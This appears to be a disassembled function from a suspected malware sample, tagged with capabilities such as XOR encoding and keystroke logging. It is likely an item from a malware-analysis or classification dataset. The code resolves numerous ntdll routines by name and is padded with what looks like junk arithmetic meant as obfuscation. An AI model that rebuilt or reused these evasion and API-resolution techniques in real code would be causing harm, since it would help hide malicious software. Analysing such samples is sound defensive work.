Function at 0x60ec68
Capabilities:
Encode data using xor
Log keystrokes via polling

Disassembly:
mov dl, byte [0x65e03d]
add edi, esi
mov dword [0x65e02c], eax
mov dword [0x65e028], edi
mov esi, dword [ecx + 0xc]
mov cl, byte [0x65e031]
or cl, dl
mov edx, dword [0x65e020]
mov byte [0x65e031], cl
mov cl, byte [0x65e035]
or cl, 2
shr cl, 1
and ecx, 0xff
mov dword [ebp - 4], ecx
lea ecx, [edx*8]
fild dword [ebp - 4]
or ecx, dword [0x65e024]
fdivr qword [0x65e048]
mov dword [ebp - 0xc], ecx
fadd qword [0x65b738]
fstp qword [0x65ebe0]
fild qword [ebp - 0xc]
mov esi, dword [esi + 0x1c]
fstp qword [0x65e048]
mov esi, dword [esi + 8]
cmp esi, ebx
mov dword [0x85eef4], esi
je 0x60f10f
push 0x4a
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov cl, byte [0x65e036]
mov edi, dword [0x65e024]
movsx esi, ax
mov al, byte [0x65e035]
push str.CsrGetProcessId
and al, cl
mov byte [0x65e035], al
mov eax, dword [0x65e020]
mov edx, eax
and eax, 8
shr edx, 5
and edi, edx
xor edx, edx
mov dl, cl
mov dword [0x65e024], edi
imul eax, edx
mov edi, dword [0x65e02c]
or edi, eax
mov eax, dword [0x85eef4]
push eax
mov dword [0x65e02c], edi
call fcn.0060e640
mov ecx, dword [0x85eef4]
push str.LdrRegisterDllNotification
push ecx
mov dword [0x65ed54], eax
call fcn.0060e640
mov cl, byte [0x65e035]
mov dword [0x65edac], eax
mov al, byte [0x65e036]
mov edx, dword [0x85eef4]
xor al, cl
push str.NtSetValueKey
mov byte [0x65e036], al
or al, 0x30
shr al, 4
and eax, 0xff
push edx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fdivr qword [0x65ec40]
fstp qword [0x65ebd0]
fld qword [0x65ebe0]
fadd qword [0x65e040]
fstp qword [0x65ebe0]
call fcn.0060e640
mov dword [0x65ed4c], eax
mov eax, dword [0x85eef4]
push str.DbgQueryDebugFilterState
push eax
call fcn.0060e640
mov ecx, dword [0x85eef4]
push str.NtQueryValueKey
push ecx
mov dword [0x65ed48], eax
call fcn.0060e640
mov dl, byte [0x65e03f]
mov dword [0x65ed50], eax
mov al, byte [0x65e032]
mov ecx, dword [0x85eef4]
xor al, dl
push str.AlpcRundownCompletionList
mov byte [0x65e032], al
mov al, byte [0x65e030]
or al, 0xc
push ecx
shr al, 2
and eax, 0xff
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fdivr qword [0x65ebd8]
fadd qword [0x65ebd0]
fstp qword [0x65ebd8]
call fcn.0060e640
mov edx, dword [0x85eef4]
push str.AlpcRegisterCompletionListWorkerThread
mov dword [0x65edc4], eax
push edx
call fcn.0060e640
mov dword [0x65edb8], eax
mov eax, dword [0x85eef4]
push str.AlpcGetCompletionListLastMessageInformation
push eax
call fcn.0060e640
mov ecx, dword [0x85eef4]
push str.RtlActivateActivationContextUnsafeFast
push ecx
mov dword [0x65ed8c], eax
call fcn.0060e640
mov edx, dword [0x65e028]
mov ecx, dword [0x65e02c]
mov dword [0x65ed60], eax
mov dword [ebp - 8], ebx
lea eax, [edx + edx]
push str.LdrUnregisterDllNotification
or eax, ecx
mov ecx, dword [0x85eef4]
mov dword [ebp - 0xc], eax
push ecx
fild qword [ebp - 0xc]
fadd qword [0x65e040]
fstp qword [0x65e040]
call fcn.0060e640
mov edx, dword [0x85eef4]
push str.CsrVerifyRegion
push edx
mov dword [0x65edb0], eax
call fcn.0060e640
mov dword [0x65ed90], eax
mov eax, dword [0x85eef4]
push str.LdrUnlockLoaderLock
push eax
call fcn.0060e640
mov ecx, dword [0x85eef4]
push str.RtlCreateAcl
push ecx
mov dword [0x65eda8], eax
call fcn.0060e640
mov dl, byte [0x65e039]
mov dword [0x65ed7c], eax
mov al, byte [0x65e034]
push str.NtOpenKey
and al, dl
mov edx, dword [0x65e028]
mov byte [0x65e034], al
mov eax, dword [0x65e02c]
mov ecx, eax
shl ecx, 4
and edx, ecx
xor ecx, ecx
mov cl, byte [0x65e035]
mov dword [0x65e028], edx
mov edx, dword [0x65e024]
and edx, 8
imul edx, ecx
or eax, edx
mov edx, dword [0x85eef4]
push edx
mov dword [0x65e02c], eax
call fcn.0060e640
mov dword [0x65ed44], eax
mov eax, dword [0x85eef4]
push str.RtlUshortByteSwap
push eax
call fcn.0060e640
mov ecx, dword [0x65e020]
mov edx, dword [0x65e024]
shr ecx, 0xc
or ecx, edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [0x65ed80], eax
fild qword [ebp - 0xc]
fadd qword [0x65e040]
fstp qword [0x65e040]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x85eef4]
mov dword [0x65ee2c], eax
push str.LdrGetDllHandle
push edx
call fcn.0060e640
mov cl, byte [0x65e033]
mov dword [0x65ed68], eax
mov al, byte [str._sE]
mov edx, dword [0x85eef4]
xor cl, al
push str.NtNotifyChangeKey
mov byte [0x65e033], cl
mov cl, byte [0x65e031]
or cl, 0xc
push edx
shr cl, 2
and ecx, 0xff
mov dword [ebp - 4], ecx
fild dword [ebp - 4]
fdivr qword [0x65ec40]
fadd qword [0x65ebe0]
fstp qword [0x65ec40]
call fcn.0060e640
mov dword [0x65ed5c], eax
mov eax, dword [0x85eef4]
push str.CsrFreeCaptureBuffer
push eax
call fcn.0060e640
mov ecx, dword [0x85eef4]
push str.AlpcRundownCompletionList
push ecx
mov dword [0x65ed34], eax
call fcn.0060e640
mov edi, dword [0x65e020]
mov cl, byte [0x65e03a]
mov dword [0x65edbc], eax
mov eax, dword [0x65e024]
lea edx, [edi + edi]
mov dword [ebp - 8], ebx
or edx, eax
push str.ApiSetQueryApiSetPresence
mov dword [ebp - 0xc], edx
mov dl, byte [0x65e03d]
and dl, cl
mov ecx, dword [0x65e028]
mov byte [0x65e03d], dl
mov edx, eax
shr edx, 2
sub edi, edx
xor edx, edx
mov dl, byte [0x65e033]
or ecx, 7
fild qword [ebp - 0xc]
imul ecx, edx
fadd qword [0x65e048]
fstp qword [0x65e048]
and eax, ecx
mov dword [0x65e020], edi
mov dword [0x65e024], eax
mov eax, dword [0x85eef4]
push eax
call fcn.0060e640
mov cl, byte [0x65e039]
mov dl, byte [0x65e038]
xor dl, cl
mov dword [0x65ed74], eax
mov byte [0x65e038], dl
mov dl, byte [0x65e033]
or dl, 8
mov eax, dword [0x85eef4]
shr dl, 3
and edx, 0xff
push str.DbgPrompt
mov dword [ebp - 4], edx
push eax
fild dword [ebp - 4]
fdivr qword [0x65ebe0]
fadd qword [0x65e040]
fstp qword [0x65ebd0]
call fcn.0060e640
mov dword [0x65ed9c], eax
mov eax, dword [0x65e02c]
mov edi, dword [0x65e028]
lea ecx, [eax*4]
or ecx, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
fild qword [ebp - 0xc]
fstp qword [0x65e048]
mov dl, byte [0x65e038]
mov cl, byte [0x65e03c]
and cl, dl
mov edx, dword [0x65e020]
mov byte [0x65e03c], cl
mov ecx, eax
or ecx, 2
xor ebx, ebx
mov bl, byte [0x65e03d]
sub edi, ecx
mov ecx, edx
mov dword [0x65ea44], 0x40
or ecx, 1
imul ecx, ebx
xor eax, ecx
mov cl, byte [0x65e032]
or cl, 0x10
mov ebx, dword [0x65e024]
shr cl, 3
and ecx, 0xff
mov dword [0x65e02c], eax
mov dword [ebp - 4], ecx
mov ecx, dword [0x65e038]
fild dword [ebp - 4]
and ebx, 4
and eax, 0xc
and ecx, 0xff
fdivr qword [0x65ebd0]
imul eax, ecx
shl ebx, 6
add edx, ebx
mov ecx, 0x65ed30
mov dword [0x65e020], edx
fadd qword [0x65e048]
fstp qword [0x65ec40]
mov dl, byte [0x65e031]
mov bl, byte [0x65e03b]
xor bl, dl
mov edx, dword [ecx]
mov byte [0x65e03b], bl
mov bl, byte [0x65e039]
xor esi, edx
mov dl, byte [0x65e032]
add ecx, 4
xor bl, dl
xor edi, eax
cmp ecx, 0x65ee30
mov byte [0x65e039], bl
jb 0x60f1a6
mov eax, dword [0x65e024]
mov dword [ebp - 8], 0
mov dword [0x65e028], edi
pop edi
lea ecx, [eax*8]
mov eax, dword [0x65e020]
or ecx, eax
mov eax, esi
mov dword [ebp - 0xc], ecx
pop esi
fild qword [ebp - 0xc]
pop ebx
fstp qword [0x65e040]
mov esp, ebp
pop ebp
ret